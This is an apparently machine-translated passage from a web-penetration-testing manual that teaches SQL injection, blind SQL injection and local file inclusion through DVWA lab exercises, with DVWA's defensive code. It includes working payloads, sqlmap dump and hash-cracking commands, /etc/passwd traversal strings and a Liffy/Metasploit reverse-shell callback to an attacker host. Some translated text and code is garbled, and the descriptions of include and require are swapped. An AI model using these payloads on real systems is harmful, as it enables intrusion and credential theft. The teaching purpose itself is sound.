web app is built: in most cases it is PHP that manages the SQL commands (queries) and, as long
as the values are adequate, the web master will not run no risk. Unfortunately we know that this
is not the case: in this chapter we will talk about SQL Injection, the most dangerous and popular
vulnerability of the last decade.
An SQL Injection attack is the execution of an SQL query

taking advantage of an uncontrolled input from the application An attack of this type allows you
to read, modify, destroy and perform many other operations within a DBMS (and on certain
occasions even get directly to the Operating System).
The path by which an SQL Injection attack is possible has been addressed in chapter 3.7 in
Fundamentals, however we will try to summarize it briefly. Let's assume that there is an SQL
query used to collect information in a database:
SELECT name FROM customers WHERE username = '$ input'
Compiling it properly, inserting a value such as "John", the query will be:
SELECT name FROM customers WHERE username = ' Mario '
However, if the web app allows the insertion of uncontrolled inputs (for example an escape
character such as the apostrophe) the SQL query will be composed as follows:
SELECT name FROM customers WHERE username = '' '
The web server is likely to return a syntax error such as the following:
You have an error in your SQL syntax ...
From here the attacker will know that he can manipulate the SQL query, specifying other parameters and
thus making the request valid:
SELECT name FROM customers WHERE username = '' OR 1 = 1 # '
In this case the input 'OR 1 = 1 # will make the query true, executing it and showing the first
value (row) present in the customers table.
The SQL Injection vulnerability is common in many web applications and is easily identifiable
as well as easily exploitable.
The attack allows you to perform operations within the database, extracting confidential
information, perform dumps 144 of the entire Database, perform insertions, modifications and
deletion of portions or of the internal container. An SQL Injection attack can also be used to
fingerprint the database, allowing you to obtain the engine and the version of the DBMS and
also to carry out attacks on the Operating System.
8.3.1 LAB: SQL Injection
The objective of this LAB is to extract, from the page provided, the list of all users and their
passwords. This list is saved in the DVWA database [Figure 8.27] and is available at:
http: // victim / phpmyadmin /
Remember that the login data are "user" and "passw0rd" (if you have followed the entire manual
with its configuration).
Figure 8.27: an extract from the "users" table of the DVWA database
Attack: SQL Injection " Low "
Victim simulation
As we know at the Low level there are no particular controls. By inserting an ID (represented by a
numeric code) the script will verify the presence or absence of the row in the Database [Figure
8.28].
Figure 8.28: by inserting a numerical value we will verify the presence of the value
The portion of code involved [Code 8.25] shows us that there is no control over the input
passed in query-string (id), which we remember is:
http: // victim / vuln / vulnerabilities / sqli /? id = 3 & Submit = Submit #
Code 8.25
<? php
if (isset ( $ _REQUEST [ 'Submit' ])) {
// Get input
$ id = $ _REQUEST [ 'id' ];
// Check database
$ query = "SELECT first_name, last_name FROM users WHERE user_id = '$ id';"
...
http: //victim/vuln/vulnerabilities/view_source_all.php? id = sqli
In this case it is possible to pass an escape symbol (apostrophe, ') to the input [Figure 8.29] and
thus generate an error in the code. The original query:
SELECT first_name, last_name FROM users WHERE user_id = ' 3 ';
it will then be transformed into:
SELECT first_name, last_name FROM users WHERE user_id = '' ';
Figure 8.29: we insert an apostrophe in input and the query will return an error
As you already know in "The fundamentals of the WWW" if an apostrophe is opened it must be
closed, just like when writing an open parenthesis it must always be closed! The result of all this
will be a SQL error which will return:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right
syntax to use near '' '' 'at line 1
This is a wake-up call not to be underestimated: if the DBMS returns an error it means that this
input was not expected. The input escape thus allows us to indicate a new condition (OR) and
to be able to generate the new query:
SELECT first_name, last_name FROM users WHERE user_id = '' OR 1 = 1
In this case, the condition OR 1 = 1 is always true and therefore will always return the result
(row) regardless of the content. Translated our query should become:
SELECT first_name, last_name FROM users WHERE user_id = '' OR 1 = 1 # '
The input will then be:
'OR 1 = 1 #
The use of the hash sign (#, which can also be replaced with the double dash -) indicates that
everything else will act as a comment. This way we don't have to worry about defining the rest
of the query, rebuilding it to avoid the SQL error. So let's pass the parameter to the test page
input: as a result we will have all the rows present in the users table [Figure 8.30].
Figure 8.30: the web app will return all the results present in the Database
As we know, however, our goal is to obtain passwords as well: to achieve this we will rely on
the UNION operator 145 which allows us to combine results into a SELECT query.
The query then translates into:

SELECT first_name, last_name FROM users WHERE user_id = '' OR 1 = 1
TOGETHER WITH THIS QUERY SELECT (UNION) SELECT user,
password FROM users
Which in SQL language will be:
SELECT first_name, last_name FROM users WHERE user_id = '' OR 1 = 1 UNION SELECT user, password FROM
users # '
The input that we will then give to the web app will be:
'OR 1 = 1 UNION SELECT user, password FROM users #
Remember: to make it work, you need to pass the same number of fields indicated in the query
to UNION (in our case first_name and last_name). For this reason you will not be able to select
more (and less) than two values (we have chosen user and password).
Finally the result will provide us with the credentials saved in the database [Figure 8.31]. The
results of the passwords will be in MD5 format: to obtain them it will be necessary to crack them
with special tools (see chapter 6.1.2, 6.1.3).
Figure 8.31: from the users table we also extract users' user and password
TIP: All inputs are printed at this level, causing another XSS vulnerability. Can you generate it?
Attack: SQL Injection " Medium "

Victim simulation
The following difficulty level turns out to be slightly more complex, not so much in generating
malicious input as in spotting 146 manual: in this case, in fact, we are not shown an input text
where we can enter values but a pre-filled list. The SQL query also changes slightly [Code
Listing 8.26].
Code 8.26
<? php

// Get input
$ id = $ _POST [ 'id' ];
$ id = mysqli_real_escape_string ( $ GLOBALS [ "___mysqli_ston"
$ query = "SELECT first_name, last_name FROM users WHERE user_id = $ id;"
...
It is very interesting to see the approach of the previous line here: through function mysqli_real_escape_string
the web programmer speculated to
resolve any manipulation made with an apostrophe or special characters. This function
removes special characters, making an attack of this type (almost) impossible.
However, the query is escaped without closing the string with the apostrophe ('): as you know,
it is likely that the IDs in SQL are numeric, so the comparison (=) can also be numeric (without
strings). Assuming the following correct query:
SELECT first_name, last_name FROM users WHERE user_id = 1
The manipulated query will instead be:
SELECT first_name, last_name FROM users WHERE user_id = 1 OR 1 = 1
Slightly different from the previous one but still functional. In addition, there will be no need to
comment on what follows, as there is no longer any apostrophe to ignore. The final query,
taking a cue from the UNION seen above, will therefore be:
SELECT first_name, last_name FROM users WHERE user_id = 1 OR 1 = 1 UNION SELECT user, password FROM
users
And the value we will have to enter will therefore be:
1 OR 1 = 1 UNION SELECT user, password FROM users
But where to insert it? There is no input! We have two paths: through the Analyze Item Browser
or
through the modification of HTTP Posts.
The Parse Element method consists in modifying the HTML elements of the Browser on-the-fly:
from the machine attacker , right clicking on the element you want to modify, we will open the select
selected, then we will modify the value of the tag option inserting, instead of the value 1, the
malicious query [Figure 8.32]. We will then send the form normally.
Figure 8.32: we modify the value of the selected option, inserting the malicious query
Alternatively we can use Burp Suite which is able to analyze HTTP requests: with this method
we will learn how to use the " Intercept "
which allows us to block any HTTP request and modify it before it can be forwarded. From the
car attacker access the SQL Injection test page:
http: // victim / vuln / vulnerabilities / sqli /
then from Burp Suite, under the tab "Proxy -> Intercept" enable the " Intercept is on ": in this
way, any HTTP request will pass through this module [Figure 8.33].
Figure 8.33: Enable "Intercept is on" on Burp Suite. All requests must be
forwarded by hand from now on.
Now click on the browser Submit and we will see that the upload will be pending: this happens
because the browser waits for the response from the Proxy (Burp Suite) which must correctly
forward the request. From Burp Suite we can then modify the HTTP POST information to be
injected (replacing 1 with the query seen above) as follows:
id = 1 OR 1 = 1 UNION SELECT user, password FROM users & Submit = Submit
then we forward the request by clicking on the " Forward "[ Figure 8.34].
Figure 8.34: We modify the HTTP POST request, then forward the request
The page will thus return the information necessary for the resolution of the LAB.
Attack: SQL Injection " High "

Victim simulation
Paradoxically, the following level is less complicated to solve than the Medium: in this phase
we have a pop-up that manages the requests and that are sent to the "mother" page. The
information, unlike what we have seen, is not sent either with GET or with POST, but through a
session [Code 8.27].
Code 8.27
<? php
if (isset ( $ _SESSION [ 'id' ])) {
// Get input
$ id = $ _SESSION [ 'id' ];
// Check database
$ query = "SELECT first_name, last_name FROM users WHERE user_id = '$ id' LIMIT 1;"
$ result = mysqli_query ( $ GLOBALS [ "___mysqli_ston" ], $ query
</pre> ' );
...
At this stage it is therefore not difficult to generate the malicious input (which is identical to the
Low level) but to spotting the vulnerability: in our case it is easy to know where the vulnerability
resides, this is because we have in hand the source code of the web app. The difficulty
therefore is related to the use of automated Web Vulnerability Scanner tools - such as nmap -
which may have difficulty finding the vulnerability (Chapter 8.3).
Having established this, the malicious input will be composed as follows:
'OR 1 = 1 UNION SELECT user, password FROM users #
The (parent) web page will display the result on the screen [Figure 8.35].
Figure 8.35: the vulnerability is identical to Lowbut the data is sent in SESSION
instead of in POST
Payload: Dangerous SQL Query

DVWA simulation
The risks involved in allowing SQL queries depend on the attacker's knowledge and skills, as
well as the scenario that presents itself. Theoretically, every SQL query can cause damage to
the database. On the practical one, some functions are very dangerous on databases in
production environment:
Query Action
SELECT * FROM table Select values from a table Edit
UPDATE table SET column = value values from a table Delete values
DELETE FROM table from a table
INSERT INTO table (column) VALUES (value) Enter a new value in a table
DROP TABLE table Delete an entire table
TRUNCATE TABLE table Empty an entire table, but don't delete it

structure
On w3schools 147 you will find an endless list of SQL functions you can use.
Why don't you try running some queries and see how the database behaves? Remember that
you can always reset the DVWA database from the attacker machine by connecting to http:
//victim/vuln/setup.php
Defence: SQL Injection

DVWA simulation
The countermeasure implemented by DVWA consists in carrying out a preventive check on the
input, verifying that the latter is numerical; in addition, PDO is used, a PHP extension that
automatically integrates new security standards 148 [ Code 8.28].
Code 8.28
<? php
if (isset ( $ _GET [ 'Submit' ])) {

// Get input
$ id = $ _GET [ 'id' ];
// Was a number entered?
if ( is_numeric ( $ id )) {
$ data = $ db -
> prepare ( 'SELECT first_name, last_name FROM users WHERE user_id = (: id) LIMIT 1;'
$ data -
> bindParam ( ': id' , $ id , PDO :: PARAM_INT );
$ data -> execute ();
$ row = $ data -> fetch ();
// Make sure only 1 result is returned
if ( $ data -> rowCount () == 1 ) {
// Get values
$ first = $ row [ 'first_name' ];
$ last = $ row [ 'last_name' ];
...
However, some considerations remain, since it is not always possible to predict an input. In
this case it is recommended to:
Escape the characters: an escape type approach allows to avoid manipulations with
special characters (see the apostrophe in the previous examples)
Negate characters: some approaches, such as can be seen in Login Forms, prohibit the
use of certain specific characters through the blacklisting model.
Use prepared statements: through the parameterization of the declarations 149 It is possible
to improve query performance and, secondly, avoid some common SQL Injection attacks.
8.4 Blind SQL Injection

In this attack we will only analyze the gray-box approach (chapter 1.5.2): principles, risks,
payloads and mitigation methods are identical to simple SQL Injection attacks.
The Blind SQL Injection attack is virtually identical to a SQL attack

Injection, with the difference that the attacker is unable to determine, through visual errors
generated by the web app, if the vulnerability is present. If in fact the SQL Injection, when
inserting a special character such as the apostrophe ('), we received the error:
You have an error in your SQL syntax ...
in the Blind variant the page will limit itself to informing us:
Result not found
If this were a search page it is likely that the result was not found because:
There is actually no result. There was an error
with the SQL
This is the question that the attacker will ask himself, but unfortunately he will not be able to see anything on
the screen that confirms the presence of the vulnerability.
Among the common methods that can be used we find SLEEP, an SQL function that allows
you to "pause" the query; by stopping it for X seconds, we will know that the query will be
generated even though there is no visual feedback. You will find an example in DVWA's "Low"
level LAB.
8.4.1 LAB: Blind SQL Injection
In this LAB the Security bypasses are identical to the non-blind version (seen previously): we
will not receive any errors, in particular the one seen at the Low level:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right
syntax to use near '' '' 'at line 1
The purpose of this LAB will therefore be to determine if the query has taken effect, even if we
have no visual feedback: subsequently, we will learn to use an automation tool (sqlmap)
capable of extracting useful information until the rows present in the users table.
Attack: Blind SQL Injection " Low "

Victim simulation
As we have seen the difference between a normal SQL Injection and a Blind SQL Injection lies
in the "blind" interpretation of the error: here we do not receive the error from the web app, this
is because there are conditions in the source code that allow us to exclude them from the
output. The checks in this test are made from the page that generates the query [Code 8.29].
Code 8.29
<? php
// Get input
$ id = $ _GET [ 'id' ];
// Check database
$ getid = "SELECT first_name, last_name FROM users WHERE user_id = '$ id';"
$ result = mysqli_query ( $ GLOBALS [ "___mysqli_ston" ], $ getid

// Get results
$ num = @ mysqli_num_rows ( $ result ); // The '@' character suppresses errors
if ( $ num > 0 ) {
echo '<pre> User ID exists in the database. </pre>' ;
} else {
// User wasn't found, so the page wasn't!
header ( $ _SERVER [ 'SERVER_PROTOCOL' ]. '404 Not Found' );
...
http: //victim/vuln/vulnerabilities/view_source_all.php? id = sqli_blind
If the web app recognizes the result, it will print a success sentence [Figure
8.36], otherwise it will print an error sentence (sending a 404 status code, Not Found page in
the headers) [Figure 8.37].
Figure 8.36: the user exists in the database
Figure 8.37: the user does not exist in the database
Given the previous exercise, let's insert a malicious SQL query:

'OR 1 = 1 #
which will then produce the following query:
SELECT first_name, last_name FROM users WHERE user_id = '' OR 1 = 1 # '; "
We will get the successful execution message:

User ID exists in the database
We could further confirm this hypothesis using the SLEEP () function in the SQL query: in this
case the time taken by the page to resolve the query 5 seconds) will confirm the thesis that the
query is executed:
'AND SLEEP (5) #
We are now certain that the page is vulnerable to Blind SQL Injection. We also know how to
use it, so it's time to practice the tools of the trade.
From the car attacker we get from the HTTP History the cookies to be fed to sqlmap (so as to
give it our session and avoid it stopping at authentication). We then run our sqlmap command
[Figure 8.38]:
$ sqlmap -u "http: // victim / vuln / vulnerabilities / sqli_blind /? id = 1 & Submit = Submit" --cookie = " HERE
YOUR COOKIES "- dbs
eg:
$ sqlmap -u "http: // victim / vuln / vulnerabilities / sqli_blind /? id = 1 & Submit = Submit" --cookie = "security =
low;
PHPSESSID = ah4k435ur0obtim8o7d0u5hls0 "--dbs
After a short tour, sqlmap will give us the list of databases present. Let's try to understand what
we asked sqlmap:
- u "...": we have specified the URL to be tested for the SQLi (the URL generated at the first submit, so
that we can also communicate the HTTP GET, see the query-string).
- - cookie = "...": we have specified cookies, so as to make the web app believe that we are already
logged in
- - dbs: we asked to show us all the DB (d), the banner 150 ( b) and lo
scheme (s)
Figure 8.38: among the many information we also received the list of databases! It is not
wonderful?
We begin to deepen our attack, for example by starting to extract the information present in the
database "dvwa".
low;
PHPSESSID = ah4k435ur0obtim8o7d0u5hls0 "-D dvwa --tables
In this case:
- D dvwa: enumerates the columns on the database
- - tables: print the tables present
The nth result will give us the structure of the dvwa Database on the screen [Figure
8.39].
Figure 8.39: There are two tables in the database: guestbook and users
Continuing with the search, we extract the structure of the users table [Figure
8.40].
low;
PHPSESSID = ah4k435ur0obtim8o7d0u5hls0 "-D dvwa -T users --columns
In this case:
- T users: enumerates the tables on the database
- - columns: print the columns present
Figure 8.40: we have the structure of the users table in our hands
The attack can now be terminated by extracting the rows present in the table [Figure
8.41]:
low;
PHPSESSID = ah4k435ur0obtim8o7d0u5hls0 "-D dvwa -T users -C user, password --dump
In this case:
- C: user, password: Enumerates the user and password columns
- - dump: print the information collected

Figure 8.41: the values inside the users table have been extracted
SQLmap will ask us if:
Do we want to save the data in a temporary file so that we can work with them with another
program? No
Do we want to try to crack passwords? Yes
We define the path where the wordlist is present: 1 (or ENTER) Do we want to use
common suffixes for passwords? No
It is also a system capable of recognizing if passwords have been extracted in MD5: in this case it
might be convenient for us to make a mere attempt with the dictionary provided by SQLmap: by
choosing Yes, the system will attempt to crack the passwords and therefore show them in clear
text. [Figure 8.42].
Figure 8.42: SQLmap is also able to crack MD5 passwords via dictionary
Not only did we extract the values but SQLmap also managed to crack them. Great, right?
SQLmap can also be used on non-blind attacks - why don't you try?
Attack: Blind SQL Injection " Medium "
Victim simulation
The following level involves sending a form containing a drop-down menu [Figure 8.43].
Figure 8.43: the form contains the drop-down menu
The form is then sent to the same page with the POST method [Figure 8.44]; the web app, if it receives
the values "Submit" and "id" by sending POST, starts the script [Code 8.30].
Figure 8.44: the page will be the same (http: // victim / vuln / vulnerabilities / sqli_blind / #) and the
information will be passed in POST
Code 8.30
<? php
// Get input
$ id = $ _POST [ 'id' ];
$ id = ((isset ( $ GLOBALS [ "___mysqli_ston" ]) && is_object (

[MySQLConverterToo] Fix the mysql_escape_string () call! This code does not work. "
// Check database
$ getid = "SELECT first_name, last_name FROM users WHERE user_id = $ id;"
// Get results
...
In summary, the form submission is constructed as follows:

URL: http: // victim / vuln / vulnerabilities / sqli_blind / #
POST: id = 1 & Submit = Submit
Cookie: security = medium; PHPSESSID = ah4k435ur0obtim8o7d0u5hls0
Consequently the SQLmap command will be composed as follows:
$ sqlmap -u "http: // victim / vuln / vulnerabilities / sqli_blind /" - data = "id = 1 & Submit = Submit" --cookie =
"security = medium;
PHPSESSID = ah4k435ur0obtim8o7d0u5hls0 "--dbs
TIP: consider that SQLmap has the right to store sessions. This is very useful to avoid
duplicating work, however it could give false positives. If you are in doubt that it is using
cached results, you can add - flush-session to the end of the command.
In this case the only difference lies in sending the information in POST (indicated here with the
--data parameter).
SQLmap will ask for some information:
Do we want to skip the payload test of other DBMS? We select Yes Do we want to
use random INT numbers? We select Yes
Do we want to check for other vulnerabilities besides the id parameter? No
The output of the database structure will follow; from here we will proceed as seen at the Low
level, remembering to pass the --data parameter at every opportunity.
Let's extract the tables:
"security = medium;
PHPSESSID = ah4k435ur0obtim8o7d0u5hls0 "-D dvwa --tables
Let's extract the columns of the dvwa database:
"security = medium;
PHPSESSID = ah4k435ur0obtim8o7d0u5hls0 "-D dvwa -T users --columns
Let's extract the lines:
"security = medium;
PHPSESSID = ah4k435ur0obtim8o7d0u5hls0 "-D dvwa -T users -C user, password --dump
Profit.
Attack: Blind SQL Injection " High "

Victim simulation
The current level foresees the same behavior of the non-blind: in this case the injection is
possible only through cookies, parameters which however are not automatically read by
SQLmap, thus making any spotting of the vulnerability more difficult.
Also in the web app script there is a random sleep function: this will slow down the SQLmap
enumeration, making the generation of values much slower [Code 8.31].
Code 8.31
<? php
if (isset ( $ _COOKIE [ 'id' ])) {
// Get input
$ id = $ _COOKIE [ 'id' ];
// Check database
$ getid = "SELECT first_name, last_name FROM users WHERE user_id = '$ id' LIMIT 1;"
// Get results
$ num = @ mysqli_num_rows ( $ result );

// The '@' character suppresses errors
if ( $ num > 0 ) {
echo '<pre> User ID exists in the database. </pre> ' ;
} else {
// Might sleep a random amount
if ( rand ( 0 , 5 ) == 3 ) {
sleep ( rand ( 2 , 4 ));
}
// User wasn't found, so the page wasn't!
header ( $ _SERVER [ 'SERVER_PROTOCOL' ]. '404 Not Found' );
echo '<pre> User ID is MISSING from the database. </pre> ' ;
(( is_null ( $ ___ mysqli_res = mysqli_close ( $ GLOBALS [ "___mysqli_ston"

}
?>
It is therefore necessary to perform the manual timing and matching tests as seen in the Low
level to be sure that the attack can be successful; this situation can be uncomfortable for those
who do not have good knowledge of Blind SQL Injection and the general behavior of a web
app. In any case, the request under consideration is the following:
URL: http: // victim / vuln / vulnerabilities / sqli_blind /

COOKIE: id = 1; security = high; PHPSESSID = ah4k435ur0obtim8o7d0u5hls0
Since SQLmap expects to find a GET or POST parameter to inject (which is not present here)
we will have to indicate the id value present in the cookie; to do this, we add an asterisk (*)
next to the test value (1). The result of the command will then be:
$ sqlmap -u "http: // victim / vuln / vulnerabilities / sqli_blind /" - cookie = "id = 1 *; security = high; PHPSESSID =
ah4k435ur0obtim8o7d0u5hls0"
- - dbs
We answer the questions that SQLmap asks us, namely:
Do you want to try to inject the URL you specified? Yes Do you want to
encode cookies? No
Do you want to use other payloads than the DBMS ones we found? No Do you want to include all
tests for MySQL? Yes
Do you want to use INT random? Yes
The parameter in HEADER "Cookie # 1 *" is vulnerable. Do you want to look for others? No
The rest of the attack will always proceed according to the parameters already seen at the "Low" level. Below is
a summary.
Let's extract the tables:
- D dvwa --tables
Let's extract the columns of the dvwa database:
- D dvwa -T users --columns
Let's extract the lines:
- D dvwa -T users -C user, password --dump
Profit.
SQLmap offers the possibility to create a Shell to access the filesystem and launch commands
within the web server. For reasons of space we haven't covered this but it shouldn't be difficult
(the parameter to pass is --os-shell or --os-pwn). You can find all the documentation about it by
running sqlmap -h or man sqlmap.
Defence: Blind SQL Injection

Victim simulation
The solution proposed by DVWA is the same as seen in the normal SQL Injection: the input is
first checked based on the type (numeric), then the query is "bound" [Code 8.32].
Code 8.32
<? php

// Get input
$ id = $ _GET [ 'id' ];
// Was a number entered?
if ( is_numeric ( $ id )) {

$ data = $ db -
> prepare ( 'SELECT first_name, last_name FROM users WHERE user_id = (: id) LIMIT 1;'
$ data -> bindParam ( ': id' , $ id , PDO :: PARAM_INT );
$ data -> execute ();
// Get results
...

9. INCLUSION ATTACKS
In the design of a web app, and of software in general, it is essential to know the logic of
inclusions: in fact, this allows you to "partition" portions of code and then be recalled on
occasion.
Let's take libraries for example: these are composed of a set of functions, codes, variables,
APIs etc ... that allow you to perform a certain action in a specific technology (such as
compressing an image, for example). Obviously, only in some parts of the software will we
need to compress images: we will be able to evoke this function if a user uploads an avatar or
an image on his board, certainly we will not need it if, for example, we had to manage a
password change; in the latter case we will not need to instantiate this library, thus leaving the
resources free for other operations. I think the concept is clear.
9.1 PHP, Include and Require

Generally in PHP it is possible to include internal and external files to the web server through
two functions: include () and require (). Since this is not a programming guide we will not go
into much depth on the subject but it is right at least to know that they exist and how they differ:
includes(): it is generally used to include another page; if it cannot be loaded, the web app
may not run correctly
require (): has the same function as include (), however if the file cannot be found, the
script will continue to run
include_once (): is the variant of include (), with the only difference that if a file has been
uploaded it will not be included again
require_once (): as for include_once () but designed according to how require () works
9.2 Relative Paths and Absolute Paths
Before continuing it is necessary to know a small but fundamental dynamics of the design,
namely that of relative and absolute paths.
As long as our project is limited to the inclusion of a few files, we can limit ourselves to
uploading everything into a single folder, perhaps the same one in which we are programming;
with the continuous work, however, we will begin to feel the need to catalog, in special folders,
portions of code and multimedia files that can be recalled later.
According to this reasoning we could hypothesize such a structure:

Path Purpose
var / www / html / website Root directory
/ var / www / html / website / include Here we may have the contents of some pages, files
configuration, parameters etc ...
/ var / www / html / website / uploads Here we may have the pictures and videos that the
our users upload
According to this structure, a file present in the main directory (eg: index.php) could include a
file present in the general inclusion folder (include). This recall can be done either through a
path relative [ Code 9.0a]:
Code 9.0a
<? php
includes ( "include / file.php" );
both through a path absolute [ Code 9.0b]:

Code 9.0b
<? php
includes ( "/ var / www / html / website / page / $ file" );
The difference, as you can see, is obvious:
The relative path is - in fact - relative to the position in which we find ourselves
The absolute path starts from the root (/) and reconstructs the entire path
This difference is dictated by the needs that the programmer has (to know the reasons that
push design to choose one or the other type of path, we invite you to read a good
programming book), however do not think that the logic of paths absolute and relative is a
programming exclusive. It is also possible to find it from the terminal: for example, if we wanted
to open the file / etc / passwd we could do it in two ways:
Relative path method

We access the folder, then open the file (passwd is present in etc, so we just need to recall the
name)
$ cd / etc
$ nano passwd
Absolute path method

We upload the file directly, regardless of where we are
$ nano / etc / passwd
9.3 PHP Wrappers

We can see the PHP wrappers 151 as meta-protocols used by the language to process
information other than the HTTP protocol: they could be useful for bypassing a defense with a
whitelist approach: however their use is absolutely variable based on the conditions in which
one finds oneself (they could, for example , not be supported by the language in use or
enabled by the web server).
Their use can be useful in several stages; in our course we will use only one but for future
convenience we want to dedicate a small summary table to it. The list of PHP Wrappers
therefore foresees the following uses:
PHPWrapper Uses
file:// allows access to local filesystem resources allows access
http: // to HTTP resources

ftp: // allows access to FTP resources allows access to
php: // I / O streams in PHP allows access to
zlib: // compressed resources
date:// allows access to streams of various types (such as base64 encoded) allows directory
glob: // reading through the use of patterns
phar: // allows access to PHP archives
ssh2: // allows access to resources through the Secure Shell 2 protocol allows access to
rar: // resources compressed in RAR
ogg: // allows access to audio resources of this type
expect: // allows access to the stdio, stdout and stderr processes via PTY; allows you to execute system commands,
however the PHP module is not enabled by default
9.4 Local Inclusion

In the design of a software it may be necessary to create various blocks of code to be included
later in any eventuality. This type of approach allows, in short, to program what are called
"dynamic websites" (together with other features such as databases but for now it is not
important).
Given a need - such as including a separate page from the main code - consider the following
PHP code [Code 9.1]:
Code 9.1
<? php
$ file = $ _GET [ 'file' ];
if (isset ( $ file )) {
includes ( "page / $ file" );
}
else {
includes ( "index.php" );
}
?>
The approach used consists of the following process:

1) Get the value of a variable passed in query-string (ex: page.php? File = about.php)
2) If the value exists include it (so get it from the "page" directory)
3) If the value does not exist include a standard file (index.php)
A "Local File Inclusion" (LFI) attack consists in manipulating the inclusion value, directing the
target to internal resources of the machine hosting the web app. Again with the previous
example we assume that the URL is:
http://example.com/page.php?file=about.php
And that the directory where the web app files are located is:
/ var / www / html / page
With the example seen above, the uploaded file will be present in:
/var/www/html/page/about.php
Through the directory logic it is possible to recall other files to which the web app has access: if the
user has the permissions he could access sensitive files such as / etc / passwd:
http://example.com/page.php?file=../../../../about.php
In this case the "../" translates into "go back"; in the example we have seen we have returned to the root (/)
of the file-system.
9.4.1 LAB: Local File Inclusion

The purpose of this LAB is to force the web app to include an illegitimate file on the server: our
test therefore involves the uploading of illegitimate files to the web app.
Attack: Local File Inclusion " Low "

Victim simulation
The simulation page of this attack comes with 3 linked files (file1.php, file2.php, file3.php):
clicking on each of them the name of the page to load will be passed in query-string.
From the car attacker the path is passed from the inclusion directory (/ var / www / html / vuln /
vulnerabilities / fi /) to the variable
"page" present in query-string. If desired, we could include the file4.php (not present in the code
but present in the web server) passing the variable and thus generating the URL:
http: // victim / vuln / vulnerabilities / fi /? page = file4.php
We can make things more interesting, for example by loading the / etc / passwd. We add a "../"
for each folder we want to "skip", thus returning to the root (/), from there we enter the "/ etc /"
folder and load the "passwd" file. The PHP code will video out all the content in the file [Figure
9.1].
The result of the link will then be:

http: // victim / vuln / vulnerabilities / fi /?
page = .. / .. / .. / .. / .. / .. / etc / passwd
Figure 9.1: the inclusion is carried out because there are no checks on the allowed inputs
This vulnerability is caused by the absence of any control in the query-string input: in this way it
is possible to pass any value, including an element outside the path in which we are present.
We identify the offending piece of code in lines 3 and 4 [Code 9.2].
Code 9.2
<? php
// The page we wish to display

$ file = $ _GET [ 'page' ];
?>
http: //victim/vuln/vulnerabilities/view_source_all.php? id = fi
Attack: Local File Inclusion " Medium "

Victim simulation
The variant of this attack performs a basic check on the input: in particular, if "../" or "\ .." are
present the PHP code will refuse to continue. To advance, you must enter the absolute path of
the file (/ etc / passwd) instead of the relative one (../../../../../../etc/passwd).
The responsible part of the code can be found on the PHP source code; from the car victim we
identify line 8: the str_replace function replaces "../" and "\ .." with an empty character [Code
9.3].
Code 9.3
<? php

// Input validation
$ file = str_replace (array (
"http: //" ,
"https: //"
), "" , $ file );
"../" ,
".. \" "
), "" , $ file );
?>
From the car attacker let's identify the absolute path inside the variable page passed in
query-string. The result will then be:
http: // victim / vuln / vulnerabilities / fi /? page = / etc / passwd
However we can bypass it according to another reasoning much more

creative: as we said the str_replace function empties the value. If now we were to enter the
value ".... //" this will become "../": the reason is that the string is processed only once by the
web app (which therefore empties the "matched" contents). We can then upload the file
indicating as URL:

page = .... // .... // .... // .... // .... // .... // .... // .... // etc / passwd
Attack: Local File Inclusion " High "

Victim simulation
The defense logic of this level provides a check on the file name: if this does not contain "file"
(followed by any other value with the operator
*) then nothing will be loaded, printing an error on the screen [Code 9.4].
Code 9.4
<? php

// Input validation
if (! fnmatch ( "file*" , $ file ) && $ file ! = "include.php" ) {
// This isn't the page we want!

echo "ERROR: File not found!" ; exit;
?>
A solution (very specific to this situation) foresees to exploit the condition "if file is not present
in the name": among the Internet RFC specifications we know that we are allowed to use the
file URI scheme, represented as follows:
file://
Using it as if it were a normal protocol (like http: //) we can use it in front of the name of the file
we want to upload. In this way the
condition "file" will be true and we will be able to upload the file present in the web server. From the car attacker
we will generate the vulnerable URL:
http: // victim / vuln / vulnerabilities / fi /? page = file: /// etc / passwd
Payload: Local File Exploitation

Victim simulation
As we know, this attack also allows code to be executed on the web server side; know all
possible triggers 152 it can be a very tiring operation, as well as slow and imprecise. During this
Lab we will rely on
Liffy 153 , a specific tool for testing PHP wrappers (and not only) with which we will first perform
the exploiting and then execute the payload and create a remote session.
In alternative to Liffy is possible use commix

(https://github.com/commixproject/commix), much more complete and supported; this tool
allows you to perform a greater number of actions, however Liffy was preferred for its extreme
simplicity. However, feel free to try it out and check all the features yourself!
Let's start by downloading the tool on our machine; for convenience (well, maybe not during a
real attack!) we recommend performing all operations as root:
$ sudo -s or on
$ git clone https://github.com/hvqzao/liffy.git
$ cd liffy
Let's proceed to install the libraries necessary for its use:

$ pip install urlparse2 blessings requests argparse daemon python- daemon
Finally, let's give the permissions to the liffy script to be executed:

$ sudo chmod 777 liffy.py
Through Liffy we will be able to load a payload that will allow us to create a session in Meterpreter:
this is a very important moment since thanks to it we will have complete control of the machine,
that is
the last stage of a cyber attack. The Meterpreter session will therefore give us access to a
shell, the textual interface from which the machine can be controlled.
Via an Interceptor Proxy such as Burp Suite or OWASP ZAP we generate cookies to simulate
the correct user login, then copy them: we will need them to pass them to Liffy and correctly
generate the result we want [Figure 9.2]. From the car attacker So let's connect to the address:
http: // victim / vuln / vulnerabilities / fi /? page =
Figure 9.2: open OWASP ZAP and start the browser (connected to the ZAP proxy or launched directly from the program), log in
and copy the generated cookies. NB:
in this screen we are connected to 20.0.0.4 while you will have to connect to http: // victim
(or http://20.0.0.3).
First of all let's remember that Liffy can be started with the command:
$ ./liffy.py -h
We will therefore pass two fundamental parameters (--url to indicate the target to attack and --data to
indicate that it will have to generate a Payload):
$ ./liffy.py --url http://20.0.0.3/vuln/vulnerabilities/fi/?page= -
- cookies "security = low; PHPSESSID = 3v82np90oll43mgrlk37dicpg2" - data
The program will start, asking for two pieces of information, namely the host and the
brings callbacks: the machine that will have to manage the callbacks will be the one that attacks ( attacker
) then we will indicate the information as follows (the port chosen will be 4444):
Checking Target: http://20.0.0.3/vuln/vulnerabilities/fi/? page = include.php
........................................................
Target URL Looks Good! Data Technique
Selected!
Please Enter Host For Callbacks: 20.0.0.2 Please Enter Port For Callbacks:
4444 Generating Wrapper
........................................................
Success!
Generating Metasploit Payload
........................................................
[-] No platform was selected, choosing Msf :: Module :: Platform :: PHP from the payload
[-] No arch selected, selecting arch: php from the payload No encoder or badchars specified, outputting
raw payload Payload size: 1109 bytes
Success!
Payload: /tmp/dmaj36x1.php
Generated Metasploit Resource File
Load Metasploit: msfconsole -r php_listener.rc Starting Web Server ...
........................................................
Press Enter To Continue When Your Metasploit Handler is Running

....
